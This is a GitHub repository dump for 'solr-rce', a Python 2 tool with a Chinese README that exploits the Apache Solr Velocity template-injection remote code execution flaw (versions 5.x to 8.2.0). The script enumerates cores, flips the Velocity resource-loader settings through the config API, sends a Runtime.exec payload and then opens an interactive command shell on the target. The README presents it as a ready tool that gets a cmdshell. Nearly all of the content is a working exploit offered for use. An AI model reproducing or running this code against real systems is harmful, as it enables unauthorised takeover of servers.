├── solrce00.png ├── README.md ├── LICENSE └── solr-rce.py /solrce00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/solr-rce/HEAD/solrce00.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | solr-rce:apache solr RCE 漏洞利用工具 2 | == 3 | 4 | # 概述 5 | 6 | 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。 7 |
8 | //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true 9 | 10 | 11 | # 影响范围 12 | 13 | apache solr 5.x - 8.2.0 rce (with config api) 14 | 15 | # 快速开始 16 | 17 | pip install requests 18 | 19 | 直接获取cmdshell 20 |
21 | 注:目标ip或域名最后不要有斜杠! 22 |
23 | python solr-rce.py -u "http://1.2.3.4" 24 | 25 | ![](https://github.com/theLSA/solr-rce/raw/master/solrce00.png) 26 | 27 | # 反馈 28 | 29 | [issus](https://github.com/theLSA/solr-rce/issues) 30 |
31 | gmail:lsasguge196@gmail.com 32 |
33 | qq:2894400469@qq.com 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 LSA 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /solr-rce.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | #Author:LSA 3 | #Description:solr rce via Velocity template 4 | #Date:29101031 5 | 6 | 7 | 8 | import requests 9 | import optparse 10 | import sys 11 | import json 12 | import urllib3 13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 15 | 16 | reload(sys) 17 | sys.setdefaultencoding('utf-8') 18 | 19 | def GetPathName(tgtUrl): 20 | 21 | getPathName_url = tgtUrl + "/solr/admin/cores?wt=json" 22 | getPathName_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36", "Referer": tgtUrl + "/solr/", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} 23 | rsp0 = requests.get(getPathName_url, headers=getPathName_headers,verify=False) 24 | #print getPathName_headers 25 | pathName = list(json.loads(rsp0.text)['status'])[0] 26 | print 'Select path name [' + pathName + ']' 27 | return pathName 28 | 29 | 30 | def ModifyConfig(tgtUrl,pathName): 31 | 32 | modifyConfig_url = tgtUrl + "/solr/" + pathName + "/config" 33 | modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/json"} 34 | 35 | rsp1 = requests.get(modifyConfig_url,headers=modifyConfig_headers,verify=False) 36 | 37 | solr_resource_loader_enabled = json.loads(rsp1.text)['config']['queryResponseWriter']['velocity']['solr.resource.loader.enabled'] 38 | params_resource_loader_enabled = json.loads(rsp1.text)['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] 39 | 40 | #print solr_resource_loader_enabled 41 | #print params_resource_loader_enabled 42 | 43 | if ((solr_resource_loader_enabled == 'true') and (params_resource_loader_enabled == 'true')): 44 | print 'config already true,start attack directly!' 45 | 46 | 47 | else: 48 | print 'Modify config...' 49 | modifyConfig_json={"update-queryresponsewriter": {"startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"}} 50 | rsp2 = requests.post(modifyConfig_url, headers=modifyConfig_headers, json=modifyConfig_json) 51 | rsp2status = json.loads(rsp2.text)['responseHeader']['status'] 52 | #print rsp2status 53 | if rsp2status == 0: 54 | print 'Modify config success!' 55 | else: 56 | print 'Modify config failed!' + str(rsp2status) 57 | sys.exit() 58 | 59 | 60 | def Attack(tgtUrl,pathName): 61 | 62 | print 'Attacking...' 63 | 64 | attack_url = tgtUrl + "/solr/"+ pathName +"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27echo%205594bf8e87f93172f046278b005e3082%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" 65 | 66 | 67 | attack_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} 68 | rsp3 = requests.get(attack_url, headers=attack_headers) 69 | #print rsp3.text 70 | if (rsp3.status_code == 200) and ("5594bf8e87f93172f046278b005e3082" in rsp3.text): 71 | print 'Target is vulnerable!!!Enter cmdshell automatically!Type exit to exit.' 72 | 73 | 74 | while True: 75 | 76 | cmd = raw_input("cmd>>> ") 77 | attack_url = tgtUrl + "/solr/"+ pathName +"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+ cmd +"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" 78 | 79 | if cmd == 'exit': 80 | break 81 | cmdResult = requests.post(attack_url,headers=attack_headers,verify=False) 82 | print cmdResult.text.encode('utf-8') 83 | else: 84 | print 'Target seem not vulnerable!' 85 | sys.exit() 86 | 87 | 88 | if __name__ == '__main__': 89 | print ''' 90 | **************************************** 91 | * solr rce via Velocity template * 92 | * Coded by LSA * 93 | **************************************** 94 | ''' 95 | 96 | parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0') 97 | 98 | parser.add_option('-u', dest='tgtUrl', type='string', help='single url') 99 | 100 | #parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)') 101 | 102 | #parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads') 103 | 104 | (options, args) = parser.parse_args() 105 | 106 | # check = options.check 107 | 108 | tgtUrl = options.tgtUrl 109 | #timeout = options.timeout 110 | 111 | #print tgtUrl 112 | #print timeout 113 | 114 | pathName = GetPathName(tgtUrl) 115 | ModifyConfig(tgtUrl,pathName) 116 | Attack(tgtUrl,pathName) 117 | 118 | --------------------------------------------------------------------------------